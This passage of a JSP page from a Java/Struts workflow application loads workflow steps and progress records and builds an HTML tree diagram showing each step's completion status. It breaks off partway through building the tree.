 <%
 try{
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.workflow.layout.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.staff.dao.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<%@ page import="com.dcivision.setup.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.dao.*"%>
<%@ page import="com.dcivision.workflow.core.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.dao.*"%>
<%@ page import="org.quartz.JobDataMap"%>
<%@ page import="java.util.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<script language="Javascript" src="<%=request.getContextPath()%>/js/WorkflowFunction.jsp" charset="UTF-8" type="text/javascript"></script>
<%!
  //************************* Tree Configuration Begin **************************
  // Height of line (lineHeadHeight  + lineTailHeight = distince between 2 levels)
  public int lineHeadHeight = 10;
  public int lineTailHeight = 10;

  //height of node
  public int nodeHeight = 20;

  //width of node
  public int nodeWidth = 120;

  //width of line
  public int lineWidth = 3;

  //cell spacing between siblings
  public int cellSpacerWidth = 2;
  //************************* Tree Configuration End  **************************

  //************************ Variables Declaration Begin ************************
  //private boolean seletedPathFound = false;
  //private boolean currentSelectedNodeIsOnParentLeft = false;
  //private List stepList = new ArrayList();
  private static ThreadLocal stepList = new ThreadLocal();
  //private List progressList = new ArrayList();
  
 // private List mapList = new ArrayList();
  
  //private Map progressMap = new HashMap();
  private static ThreadLocal progressMap = new ThreadLocal();
  //private Map progressUniqueMap = new HashMap();
  private static ThreadLocal progressUniqueMap = new ThreadLocal();
  //private Map progressUserRecordMap = new HashMap();
  private static ThreadLocal progressUserRecordMap = new ThreadLocal();
  //private Map mtmStepMap = new HashMap();
  private static ThreadLocal mtmStepMap = new ThreadLocal();
  //private Map mtmGroupMap = new HashMap();
  //private int leftMostSelectedNode = 0;
  private static ThreadLocal leftMostSelectedNode = new ThreadLocal();
  //private int rightMostSelectedNode = 0;
  private static ThreadLocal rightMostSelectedNode = new ThreadLocal();
  //private Map progressGroupCount = new HashMap();
  //private Map mtmStepGroupCount = new HashMap();
  //private List completedList1;
  private static ThreadLocal completedList1 = new ThreadLocal();
  //private ArrayList routedStepList = new ArrayList();
  //private boolean isOverDue = false;
  //************************ Variables Declaration End   ************************
  
  //************************Varialbes Connection and SessionContainer************
  //private Connection conn ;
  private static ThreadLocal conn = new ThreadLocal();
  //private com.dcivision.framework.SessionContainer sessionContainer = null;
  private static ThreadLocal sessionContainer = new ThreadLocal();
  //************************Varialbes Connection and SessionContainer END************
  
  //************************* Methods Declaration Begin *************************

   
  //method to determine node color
  public String getNodeColor(PositionTreeNode node)throws Exception {
    if (node.getID().toString().startsWith("L")) {
      return "NodeRepeat";
    }
    WorkflowStep step = (WorkflowStep)node.getUserObject();
    List tempProgressList = (List)((Map)progressMap.get()).get(step.getID());
    if (tempProgressList!=null) {
      if (!Utility.getPropertyList(tempProgressList, "status").contains("P")) {
        return "NodeProceeded";
      } else if((node.getParent()!=null || Utility.getPropertyList(tempProgressList, "status").contains("L"))&&!WorkflowStep.END_STEP_SEQ_NO.equals(((WorkflowStep)node.getUserObject()).getStepSeq())){
		   return "NodePending";
		 }
    }
    return "NodeNormal";
    
  }

  // Method to determine end node color
  public String getEndNodeColor(PositionTreeNode node) {
    if (node.getID().toString().startsWith("P")) {
      return "NodeEndSelected";
    } else {
      return "NodeEnd";
    }
  }

  // Method to determine whether the node is a pending node or not.
  public boolean checkOnProgress(PositionTreeNode node) {
    if (node==null) return false;
    WorkflowStep step = (WorkflowStep)node.getUserObject();
    WorkflowProgress latestProgressOnNode = (WorkflowProgress)((Map)progressUniqueMap.get()).get(step.getID());
    if (latestProgressOnNode!=null) {
      return WorkflowProgress.STATUS_PENDING.equals(latestProgressOnNode.getStatus());
    }
    return false;
  }

  public int[] buildSiblingList(PositionTreeNode node) throws Exception {
    int leftMostSelectedNode=0;
    int rightMostSelectedNode=0;

    PositionTreeNode sibling =node;
    int siblingCount = node.getSiblingCount();

    for (int i=1;sibling!=null;i++) {
/*
      WorkflowStep siblingStep = (WorkflowStep)sibling.getUserObject();
      PositionTreeNode siblingParentNode = (PositionTreeNode)sibling.getParent();
      WorkflowStep siblingParentStep = (siblingParentNode!=null) ? (WorkflowStep)siblingParentNode.getUserObject() : null;
      WorkflowProgress currentProgress = (WorkflowProgress) ((Map)progressUniqueMap.get()).get(siblingStep.getID());
      WorkflowProgress siblingParentProgress = (siblingParentStep!=null) ? (WorkflowProgress) ((Map)progressUniqueMap.get()).get(siblingParentStep.getID()):null;

      MtmWorkflowStepWorkflowStep mtmStepStep = (siblingParentStep!=null) ? (MtmWorkflowStepWorkflowStep)((Map)mtmStepMap.get()).get()).get(siblingParentStep.getID()+"_"+(siblingStep.getParentType()==null? "" : siblingStep.getParentType()+"_")+siblingStep.getID()) : null;

      boolean isParentProcessPending = siblingParentProgress!=null && WorkflowProgress.STATUS_PENDING.equals(siblingParentProgress.getStatus());
      boolean isProcessPending = currentProgress!=null && WorkflowProgress.STATUS_PENDING.equals(currentProgress.getStatus());
      boolean isRepeated = sibling.getID().toString().startsWith("L");
      List list = (siblingParentStep!=null) ? (List)((Map)progressMap.get()).get(siblingParentStep.getID()) : null;

      boolean isStepStatus= mtmStepStep!= null && (Utility.getPropertyList(list,"status").contains(mtmStepStep.getParentType()) ||
                            (Utility.getPropertyList(list,"status").contains("G") && "S".equals(mtmStepStep.getParentType())));
      boolean isSelected = (currentProgress!=null && (!isRepeated || (isRepeated && isStepStatus))) || (!isRepeated && sibling.isLeaf() && isStepStatus);
*/
      boolean isSelected=isComplete(sibling);

      if (leftMostSelectedNode==0 && isSelected) {
        leftMostSelectedNode=i;
      }
      if (isSelected) {
        rightMostSelectedNode=i;
      }
      sibling= (PositionTreeNode)sibling.getNextSibling();
    }
  //WorkflowStep currentStep = (WorkflowStep)node.getUserObject();
    return new int[]{leftMostSelectedNode, rightMostSelectedNode};
  }

  public boolean isComplete(PositionTreeNode node) throws Exception {
	  //It means the task have arrive here or the task is done._TC
	  boolean isRepeated = node.getID().toString().startsWith("L");//ADD BY TC

      WorkflowProgress parentProgress=null;
      WorkflowStep currentStep = (WorkflowStep)node.getUserObject();
      PositionTreeNode parentNode = (PositionTreeNode)node.getParent();
      WorkflowStep parentStep = (parentNode!=null) ? (WorkflowStep)parentNode.getUserObject() : null;
      WorkflowProgress currentProgress = (WorkflowProgress) ((Map)progressUniqueMap.get()).get(currentStep.getID());//simon
      List currentProgressList = (List) ((Map)progressMap.get()).get(currentStep.getID());//ADD BY TC FOR ROOLBACK STEP
      List parentProgressList = (parentStep!=null) ? (List)((Map)progressMap.get()).get(parentStep.getID()):null;//ADD BY TC FOR BOOLBACK STEP
      
      parentProgress = (parentStep!=null) ? (WorkflowProgress) ((Map)progressUniqueMap.get()).get(parentStep.getID()):null;
      MtmWorkflowStepWorkflowStep mtmStepStep = (parentStep!=null) ? (MtmWorkflowStepWorkflowStep)((Map)mtmStepMap.get()).get(parentStep.getID()+"_"+(currentStep.getParentType()==null? "" : currentStep.getParentType()+"_")+currentStep.getID()) : null;
      if(!isRepeated){
	    return isCorrectDecision(mtmStepStep,parentProgress,currentProgress, currentStep) && currentProgress!=null && parentProgress!=null&&parentProgressList!=null&&everCompleted(parentProgressList);//&& !"P".equals(parentProgress.getStatus());
	  }else{
	    return isCorrectDecision(mtmStepStep,parentProgress,currentProgress, currentStep) && currentProgress!=null && parentProgress!=null&&parentProgressList!=null&&checkIfExistsProgressByParentProgressListandCurrentProgressList(parentProgressList,currentProgressList);
	  }
	  
  }

  public boolean isCorrectDecision(MtmWorkflowStepWorkflowStep mtmStepStep,WorkflowProgress parentProgress,WorkflowProgress currentProgress, WorkflowStep currentStep) throws Exception {
    if(!Utility.isEmpty(currentProgress) && !WorkflowStep.END_STEP_SEQ_NO.equals(currentStep.getStepSeq()) ){
      return true;
    }

    if(mtmStepStep!=null && parentProgress!=null){
      if("T".equals(mtmStepStep.getParentType()) ||
         "F".equals(mtmStepStep.getParentType()) ||
         "A".equals(mtmStepStep.getParentType()) ||
         "R".equals(mtmStepStep.getParentType()) ){

         return mtmStepStep.getParentType().equals(parentProgress.getStatus());

      }else if(mtmStepStep.getParentType().length()>1 && mtmStepStep.getParentType().indexOf("S")==0){
       //checking the MTM_WF_PROGRESS_USER_RECORD.WORKFLOW_ACTION field to determine where to route.
       String decisionPoint = (String)((Map)progressUserRecordMap.get()).get(parentProgress.getID());
       return mtmStepStep.getParentType().equals(decisionPoint);
      }
      return true;
    }
    return false;
  }
  
 //TC ADD ...CHECK IF THE progressList contains completed progress
  public boolean everCompleted(List progressList){
    boolean everCompleted = false;
	for(Iterator it=progressList.iterator();it.hasNext();){
	   WorkflowProgress progress = (WorkflowProgress)it.next();
	   if(!progress.getStatus().equals("P")&&!progress.getStatus().equals("N")&&!progress.getStatus().equals("L")&&!progress.getStatus().equals("I")){
	      everCompleted = true;
		  break;
	   }
	}
	return everCompleted;
  }

  public boolean checkIfExistsProgressByParentProgressListandCurrentProgressList(List pranetProgressList,List currentProgressList){
  //check if repeat node hava done or the flow ready arrive there
    boolean everCompleted = false;
	WorkflowProgress parentProgress = null;
	   
	for(Iterator it =pranetProgressList.iterator();it.hasNext();){
	  parentProgress = (WorkflowProgress)it.next();
      if(!parentProgress.getStatus().equals("P")&&!parentProgress.getStatus().equals("I")){
          everCompleted = true;
		  break;
	   }
	} 

	if(!everCompleted)
	  return false;

    if(currentProgressList==null)
	  return false;


	try{
	   List currentProgressIDList = Utility.getPropertyList(currentProgressList,"ID");
       MtmWfProgressWfProgressDAObject mtmWfPWfPDAO = new MtmWfProgressWfProgressDAObject((SessionContainer)sessionContainer.get(),(Connection)conn.get());
       for(Iterator it =pranetProgressList.iterator();it.hasNext();){
	     parentProgress = (WorkflowProgress)it.next();
         List wfpwfpList = mtmWfPWfPDAO.getListByParentProgressID(parentProgress.getID());
	     if(wfpwfpList==null)
		    return false;
	
	     List wfPwfPChildProgressIDList = Utility.getPropertyList(wfpwfpList,"childProgressID"); 
	   
	     for(Iterator wfIt=wfPwfPChildProgressIDList.iterator();wfIt.hasNext();){
	        Integer wfID = (Integer)wfIt.next();
	        for(Iterator curIt=currentProgressIDList.iterator();curIt.hasNext();){
	           Integer curID = (Integer)curIt.next();
		       if(curID.intValue()==wfID.intValue())
			     return true;//have the same progress
	        }
	      }
	   }
	   return false;//have'nt 
	}catch(Exception ex){
	  return false;
	}
    
  }
  //--TC ADD END
  
  //king--add---start
  public List getCompletedList(Connection conn,com.dcivision.framework.SessionContainer sessionContainer,PositionTreeNode node) throws Exception {
	WorkflowStep currentStep = (WorkflowStep)node.getUserObject();
  WorkflowProgress currentProgress = (WorkflowProgress) ((Map)progressUniqueMap.get()).get(currentStep.getID());
  List completedList1 = new ArrayList();
	if(currentProgress!=null){
		MtmWorkflowProgressUserRecordDAObject progressUserRecordDAO1 = new MtmWorkflowProgressUserRecordDAObject(sessionContainer, conn);
		List wholeProgressOnCurrentNodeList1 = (List)((Map)progressMap.get()).get(((WorkflowStep)node.getUserObject()).getID());
		if(wholeProgressOnCurrentNodeList1.size()>0){
		  WorkflowProgress lastWorkflowProgress1 = (WorkflowProgress)wholeProgressOnCurrentNodeList1.get(wholeProgressOnCurrentNodeList1.size()-1);
		  Integer tempProgressID1 = lastWorkflowProgress1.getID();
		  List actorExecList1 = progressUserRecordDAO1.getListByWorkflowProgressID(tempProgressID1);	

		  if (!Utility.isEmpty(actorExecList1)) {
		    for (int actorCount=0; actorCount<actorExecList1.size(); actorCount++) {
		      MtmWorkflowProgressUserRecord tmp11 = (MtmWorkflowProgressUserRecord)actorExecList1.get(actorCount);
		      if (WorkflowProgress.STATUS_GENERAL_ACCOMPLISHMENT.equals(tmp11.getWorkflowAction()) ||
		                      (tmp11.getWorkflowAction().length() > 1 && tmp11.getWorkflowAction().startsWith("S") )) {
		        completedList1.add(tmp11);
		      }
		    }
		  }
		}
	}
	return completedList1;
}
  
  public boolean isCheckComplete(Connection conn,com.dcivision.framework.SessionContainer sessionContainer,PositionTreeNode node,Integer trackID) throws Exception {

		WorkflowStep currentStep = (WorkflowStep)node.getUserObject();
	  PositionTreeNode parentNode = (PositionTreeNode)node.getParent();
	  WorkflowStep parentStep = (parentNode!=null) ? (WorkflowStep)parentNode.getUserObject() : null;
											
		boolean isCheckCompleted=false;
	  Integer ParentStepID=null;
	  Integer ParentStepProgressID=null;
	  Integer endStepProgressID =null;
	  Integer endStepParentStepProgressID=null;
	  WorkflowProgressDAObject progressDAO=new WorkflowProgressDAObject(sessionContainer, conn);
		endStepProgressID=progressDAO.getWorkflowProgressIDByStepIDTrackID(currentStep.getID(),trackID);           	
	  ParentStepID=parentStep.getID();
		ParentStepProgressID=progressDAO.getWorkflowProgressIDByStepIDTrackID(ParentStepID,trackID);
	               
		if(endStepProgressID!=null && ParentStepProgressID!=null){
	  	MtmWfProgressWfProgressDAObject wfProgressWfProgressDAO=new MtmWfProgressWfProgressDAObject(sessionContainer, conn);
			List parentProgressList=wfProgressWfProgressDAO.getListByChildProgressID(endStepProgressID);

			for(int k=0; parentProgressList!=null && k<parentProgressList.size(); k++){
			  MtmWfProgressWfProgress tmpMtmWfProgressWfProgress=(MtmWfProgressWfProgress)parentProgressList.get(k);
			  endStepParentStepProgressID=tmpMtmWfProgressWfProgress.getParentProgressID();

			  if(ParentStepProgressID.equals(endStepParentStepProgressID)){

			  	if (WorkflowStep.ACTION_TYPE_USER_DEFINED_TASK.equals(parentStep.getActionType()) || WorkflowStep.ACTION_TYPE_APPROVAL.equals(parentStep.getActionType()) || WorkflowStep.ACTION_TYPE_BOOLEAN.equals(parentStep.getActionType())){
			  		MtmWorkflowStepWorkflowStep currentStepStep1 =(parentStep!=null) ? (MtmWorkflowStepWorkflowStep)((Map)mtmStepMap.get()).get(parentStep.getID()+"_"+(currentStep.getParentType()==null? "" : currentStep.getParentType()+"_")+currentStep.getID()) : null;	
			  		MtmWorkflowProgressUserRecordDAObject progressUserRecordDAO1 = new MtmWorkflowProgressUserRecordDAObject(sessionContainer, conn);
						List actorExecList1 = progressUserRecordDAO1.getListByWorkflowProgressID(ParentStepProgressID);

						for (int actorCount=0; actorCount<actorExecList1.size(); actorCount++) {
			  			MtmWorkflowProgressUserRecord tmp11 = (MtmWorkflowProgressUserRecord)actorExecList1.get(actorCount);

			  			if((currentStepStep1.getParentType()).equals(tmp11.getWorkflowAction())){
			  				isCheckCompleted=true;
			  			}
						}	
			  	}else{
			  		isCheckCompleted=true;
			  	}	      
		    }
			}
	  }
		return isCheckCompleted;
	}
  
  //king---add---end
  public boolean checkSelected(PositionTreeNode node,int currentSilbingNo,String dir) {
    PositionTreeNode parentNode =(PositionTreeNode) node.getParent();
    boolean isSelected=false;
    if (parentNode!=null && parentNode.getCenter() == node.getCenter()) {
      if ("L".equals(dir)) {
        isSelected = currentSilbingNo>((Integer)leftMostSelectedNode.get()).intValue() && ((Integer)leftMostSelectedNode.get()).intValue()>0;
      } else if ("R".equals(dir)) {
        isSelected = currentSilbingNo<((Integer)rightMostSelectedNode.get()).intValue();
      } else {
        isSelected = ((Integer)rightMostSelectedNode.get()).intValue()>0;
      }
    }else{
      boolean isOnParentLeft = parentNode!=null && parentNode.getCenter()>node.getCenter();
      if (isOnParentLeft) {
        if (currentSilbingNo>((Integer)leftMostSelectedNode.get()).intValue()) {
          isSelected = ((Integer)leftMostSelectedNode.get()).intValue()>0;
        }else if (currentSilbingNo==((Integer)leftMostSelectedNode.get()).intValue()) {
          isSelected = !"L".equals(dir);
        }
      } else {
        if (currentSilbingNo<((Integer)rightMostSelectedNode.get()).intValue()) {
          isSelected = ((Integer)rightMostSelectedNode.get()).intValue() > 0;
        }else if (currentSilbingNo==((Integer)rightMostSelectedNode.get()).intValue()) {
          isSelected = !"R".equals(dir);
        }
      }
    }
    return isSelected;
  }
 
 
  
  //simon_add_S
  public String getModifyStepName(String sStepName){
		String sModifyStepName=""; 		
		int unitLenght=0;		
		unitLenght=WorkflowStep.STEP_NAME_ROW_UNIT_LENGHT;
        int rows=0;
        
        if(sStepName==null){
        	return "";
        }
		rows=sStepName.length()/unitLenght;
		int yushu=0; 
		yushu=sStepName.length()%unitLenght;		
		if(yushu>0){
			rows=rows+1;
		} 
		
		int startNumber=0; 
		int endNumber=0;
		for(int i=0;i<rows;i++){
			startNumber=i*unitLenght; 
			if((i+1)==rows){
				sModifyStepName=sModifyStepName+sStepName.substring(startNumber);	
			}else{ 
				endNumber=(i+1)*unitLenght; 
				sModifyStepName=sModifyStepName+sStepName.substring(startNumber,endNumber)+" ";
			}
		}
    return sModifyStepName;
  }
  
  //add space separator to display for MOZ(firfox)
  public String addSpaceSeparatorToDisplay(String sourceMessage,int interval){	
    String sModifyMessage=""; 		
	int unitLenght=0;
	int rows=0;
	int remainder=0;
	 
	if(sourceMessage==null || interval==0){
		return "";
	}
	unitLenght=interval;     
	rows=sourceMessage.length()/unitLenght;	 
	remainder=sourceMessage.length()%unitLenght;		
	if(remainder>0){
	  rows=rows+1;
	}
	 
	int startNumber=0; 
	int endNumber=0;
	for(int i=0;i<rows;i++){
	  startNumber=i*unitLenght; 
	  if((i+1)==rows){
	    sModifyMessage=sModifyMessage+sourceMessage.substring(startNumber);	
	  }else{ 
	    endNumber=(i+1)*unitLenght; 
	    sModifyMessage=sModifyMessage+sourceMessage.substring(startNumber,endNumber)+" ";
	  }
	}
    return sModifyMessage;
  }

  /**
   *  if the testStr is matching the pattern of "???local.messages???"
   * 
   */
  public boolean isNoResourcePattern(String testStr, String local, String messages) {
	    Pattern pa = Pattern.compile("\\?{3}" + local + "{1}\\." + messages + "{1}\\?{3}");
	    Matcher ma = pa.matcher(testStr);
	    while(ma.find()){
	      return true;
	    }
	    return false;
   }
	//simon_add_E/ 
  //************************* Methods Declaration End   *************************
%>
<%
 
  // Get the database connection.
  //Connection 
  this.conn.set((Connection)request.getAttribute(GlobalConstant.DB_KEY));
  this.sessionContainer.set(sessionContainer);
  Connection conn = (Connection)this.conn.get();
//conn=DataSourceFactory.getConnection();
  // Retrieve the input parameters.
  Integer workflowRecordID = TextUtility.parseIntegerObj(request.getParameter("workflowRecordID"));
  Integer workflowGroupID = TextUtility.parseIntegerObj(request.getParameter("workflowGroupID"));
  Integer workflowCategoryID = TextUtility.parseIntegerObj(request.getParameter("workflowCategoryID"));
  //bill add start for EIP-1134
  String isDisplay=request.getParameter("isDisplayTheProceedButton");
  boolean flag=!Utility.isEmpty(isDisplay);
  boolean isDisplayTheProceedButton=false;
  if(flag)
  {
  	isDisplayTheProceedButton=TextUtility.parseBoolean(isDisplay);
  }
  //bill add end for EIP-1134
  String checkPermission = request.getParameter("checkPermission");


  Integer trackID = TextUtility.parseIntegerObj(request.getParameter("trackID"));
  String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);

  // Initialize manager classes and DAO classes.
  WorkflowStepManager stepMgr = new WorkflowStepManager(sessionContainer, conn);
  WorkflowProgressManager progressMgr = new WorkflowProgressManager(sessionContainer, conn);
  WorkflowRecordDAObject recordDAO = new WorkflowRecordDAObject(sessionContainer, conn);
  WorkflowStepDAObject stepDAO = new WorkflowStepDAObject(sessionContainer, conn);
  MtmWorkflowDynamicUserActorDAObject dynamicUserDAO = new MtmWorkflowDynamicUserActorDAObject(sessionContainer, conn);
  WorkflowStepRouteDAObject stepRouteDAO = new WorkflowStepRouteDAObject(sessionContainer, conn);
  MtmWorkflowStepUserActorDAObject mtmWorkflowStepUserActorDAObject = new MtmWorkflowStepUserActorDAObject(sessionContainer, conn);
  MtmWorkflowChildParentProgressDAObject subworkflowDAO = new MtmWorkflowChildParentProgressDAObject(sessionContainer, conn);
  MtmWorkflowProgressSystemObjectDAObject progressObjDAO = new MtmWorkflowProgressSystemObjectDAObject(sessionContainer, conn);
  WorkingCalendarDAObject workingCalendarDAO = new WorkingCalendarDAObject(sessionContainer, conn);
  WorkflowPermissionManager wfPermissionManager = new WorkflowPermissionManager(sessionContainer, conn);
  WorkflowProgressDAObject progressDAO = new WorkflowProgressDAObject(sessionContainer, conn);//simon
  UserDelegationDAObject delegationDAO = new UserDelegationDAObject(sessionContainer,conn);
  //TC.ADD FOR THREAD SCURITY start---
  List progressList = new ArrayList();
  List mapList = new ArrayList();
  progressUserRecordMap.set(new HashMap());
  mtmStepMap.set(new HashMap());
  Map mtmGroupMap = null;
  List routedStepList = new ArrayList();
  boolean isOverDue = false;
  //TC.ADD FOR THREAD SCURITY end--
  //MtmWorkflowProgressUserRecordDAObject workflowProgressUserRecordDAO = new WorkflowProgressUserRecordDAObject(sessionContainer, conn);
  MtmWorkflowProgressUserRecordDAObject progressUserRecordDAO = new MtmWorkflowProgressUserRecordDAObject(sessionContainer, conn);
  
  //get the workflow progress 
  WorkflowProgress workflowProgress = null;
  if(!Utility.isEmpty(request.getParameter("workflowProgressID"))){
    workflowProgress = (WorkflowProgress)progressDAO.getObjectByID(new Integer(request.getParameter("workflowProgressID")));
  }
  // Get the workflow step record list and relationships.
  //stepList = stepMgr.getWorkflowStepWithActorList(workflowRecordID);
  stepList.set(stepMgr.getWorkflowStepWithActorList(workflowRecordID));//TC.ADD FOR THREAD SCURITY
  mapList = stepMgr.getWorkflowStepRelationshipList(workflowRecordID);



  // Initialize variables.
  HTMLTreeDrawer drawer = new HTMLTreeDrawer();
  WorkflowTree tree = new WorkflowTree();
  //progressMap = new HashMap();
    progressMap.set(new HashMap());
  //progressUniqueMap = new HashMap();
    progressUniqueMap.set(new HashMap());
  WorkflowStep firstStep = null;
  List nodeList = null;
  
  // Retrieve corresponding progress if track ID is input.
  if (trackID!=null) {
    progressList = progressMgr.getWorkflowProgressList(trackID);
    //progressMap = Utility.getPropertyMapList(progressList, "workflowStepID");
    progressMap.set(Utility.getPropertyMapList(progressList, "workflowStepID"));
    //progressUniqueMap = Utility.getPropertyMap(progressList, "workflowStepID");
    progressUniqueMap.set(Utility.getPropertyMap(progressList, "workflowStepID"));
  }

  if(((Map)progressMap.get()).size()>0){
    for(int i=0;i<progressList.size();i++){
       Integer workflowProgressID = ((WorkflowProgress)progressList.get(i)).getID();
       List workflowProgressUserRecords = progressUserRecordDAO.getListByWorkflowProgressID(workflowProgressID);
       String finalDecision = null;
       int    maxDecisionCount=0;
       Map decisionMap= new HashMap();
       //for(Iterator iter=Utility.getPropertyList(workflowProgressUserRecords ,"workflowAction").iterator();iter.hasNext();){
		   //Edit by TC for the issue relate to bug[4714] fixed
		 for(Iterator iter=workflowProgressUserRecords.iterator();iter.hasNext();){
         MtmWorkflowProgressUserRecord workflowProUserRecord = (MtmWorkflowProgressUserRecord)iter.next();
		 String workflowAction = null;
		 if(!Utility.isEmpty(workflowProUserRecord.getOperationParameter())){
		   workflowAction = workflowProUserRecord.getOperationParameter();
		 }else{     
		   workflowAction = workflowProUserRecord.getWorkflowAction();
		 }
         Integer decisionCount  = (Integer)decisionMap.get(workflowAction);
         int newDecisionCount=0;
         if(decisionCount==null){
           newDecisionCount = 1;
         }else{
           newDecisionCount = decisionCount.intValue()+1;
         }
         decisionMap.put(workflowAction,new Integer(newDecisionCount));
         if(newDecisionCount > maxDecisionCount){
           finalDecision = workflowAction;
         }
       }
       ((Map)progressUserRecordMap.get()).put(workflowProgressID,finalDecision);
    }
  }

  // Find the 1st step of the workflow.
  for (int i=0; i<((List)stepList.get()).size(); i++) {
    WorkflowStep step = (WorkflowStep)((List)stepList.get()).get(i);
    if (WorkflowStep.ACTION_TYPE_SUBMIT.equals(step.getActionType())) {
      firstStep = step;
      break;
    }
  }

  // Put the firstStep into tree.
  Map stepMap = Utility.getPropertyMap((List)stepList.get(), "ID");
  mtmGroupMap = new HashMap();
  int recurCount = 1;
  if (firstStep!=null) {
    tree.put(firstStep.getID(), null, firstStep);
    for (int i=0;i<mapList.size();i++) {
      MtmWorkflowStepWorkflowStep step = (MtmWorkflowStepWorkflowStep)mapList.get(i);
      WorkflowStep stepInMap = (WorkflowStep) stepMap.get(step.getChildStepID());
      WorkflowStep clonedStep = (WorkflowStep)stepInMap.clone();
      clonedStep.setParentType(step.getParentType());

      // Build a hashmap to store grouping (step merging) information.
      Integer count = (Integer)mtmGroupMap.get(step.getChildStepID()+"_"+step.getGroupID());
      if (count != null) {
        mtmGroupMap.put(step.getChildStepID()+"_"+step.getGroupID(), new Integer(count.intValue()+1));
      } else {
        mtmGroupMap.put(step.getChildStepID()+"_"+step.getGroupID(), new Integer(1));
      }

      if (tree.get(step.getChildStepID())==null && stepMap.get(step.getChildStepID())!=null){
        tree.put(step.getChildStepID(), step.getParentStepID(), clonedStep);
      } else {
        tree.put("L_"+(recurCount++)+"_"+step.getChildStepID(), step.getParentStepID(), clonedStep);
      }
      ((Map)mtmStepMap.get()).put(step.getParentStepID()+"_"+step.getParentType()+"_"+step.getChildStepID(),step);
    }
  }

  // Build the node list.
  if (tree.getRoot()==null) {
    nodeList = new ArrayList();
  } else {
    nodeList = Collections.list(tree.getRoot().depthFirstEnumeration());
  }
  // Build the whole tree.
  for (int i=0; i<nodeList.size(); i++) {
    PositionTreeNode leaf = (PositionTreeNode)nodeList.get(i);

    if (!leaf.getID().toString().startsWith("L")) {
      WorkflowStep leafStep = (WorkflowStep)leaf.getUserObject();
      List childrenList = Collections.list(leaf.children());
      String type="";

      for (int k=0; k<childrenList.size(); k++) {
        WorkflowStep childStep = (WorkflowStep)((PositionTreeNode)childrenList.get(k)).getUserObject();
        Integer childStepID = childStep.getID();
        MtmWorkflowStepWorkflowStep mtmWSWS = (MtmWorkflowStepWorkflowStep)((Map)mtmStepMap.get()).get(leafStep.getID()+"_"+(childStep.getParentType()==null? "" : childStep.getParentType()+"_")+childStep.getID());
        type += mtmWSWS.getParentType();
      }


      if (WorkflowStep.ACTION_TYPE_APPROVAL.equals(leafStep.getActionType())) {
        if (type.lastIndexOf("A")<0) {
          WorkflowStep dummy = new WorkflowStep();
          dummy.setID(new Integer(i*-2));
          tree.insert("A"+(i*-2),leaf.getID(),dummy,0);
          MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
          mtmStep.setParentStepID(leafStep.getID());
          mtmStep.setChildStepID(new Integer(i*-2));
          mtmStep.setGroupID(new Integer(i*-2));
          mtmStep.setParentType("A");
          ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
        }
        if (type.lastIndexOf("R")<0) {
          WorkflowStep dummy = new WorkflowStep();
          dummy.setID(new Integer(i*-2-1));
          tree.insert("R"+(i*-2-1),leaf.getID(),dummy,leaf.getChildCount());
          MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
          mtmStep.setParentStepID(leafStep.getID());
          mtmStep.setChildStepID(new Integer(i*-2-1));
          mtmStep.setGroupID(new Integer(i*-2-1));
          mtmStep.setParentType("R");
          ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
        }

      } else if (WorkflowStep.ACTION_TYPE_BOOLEAN.equals(leafStep.getActionType())) {
        if (type.lastIndexOf(WorkflowStep.PARENT_TYPE_YES)<0) {
          WorkflowStep dummy = new WorkflowStep();
          dummy.setID(new Integer(i*-2));
          tree.insert(WorkflowStep.PARENT_TYPE_YES+(i*-2),leaf.getID(),dummy,0);
          MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
          mtmStep.setParentStepID(leafStep.getID());
          mtmStep.setChildStepID(new Integer(i*-2));
          mtmStep.setGroupID(new Integer(i*-2));
          mtmStep.setParentType(WorkflowStep.PARENT_TYPE_YES);
          ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
        }
        if (type.lastIndexOf(WorkflowStep.PARENT_TYPE_NO)<0) {
          WorkflowStep dummy = new WorkflowStep();
          dummy.setID(new Integer(i*-2-1));
          tree.insert(WorkflowStep.PARENT_TYPE_NO+(i*-2-1),leaf.getID(),dummy,leaf.getChildCount());
          MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
          mtmStep.setParentStepID(leafStep.getID());
          mtmStep.setChildStepID(new Integer(i*-2-1));
          mtmStep.setGroupID(new Integer(i*-2-1));
          mtmStep.setParentType(WorkflowStep.PARENT_TYPE_NO);
          ((Map)mtmStepMap.get()).put(mtmStep.getParentStepID()+"_"+mtmStep.getChildStepID(),mtmStep);
        }

      } else if (WorkflowStep.ACTION_TYPE_SYSTEM_AUTO.equals(leafStep.getActionType()) && leafStep.getNumOfRoutine() > 1) {
        int numOfRoutine = leafStep.getNumOfRoutine();
        for (int k=0; k<numOfRoutine; k++) {
          if (type.lastIndexOf("S"+k)<0) {
            WorkflowStep dummy = new WorkflowStep();
            dummy.setID(new Integer(i*-2-k));
            tree.insert("S"+(i*-2-k),leaf.getID(),dummy,leaf.getChildCount());
            MtmWorkflowStepWorkflowStep mtmStep = new MtmWorkflowStepWorkflowStep();
            mtmStep.setParentStepID(leafStep.getID());
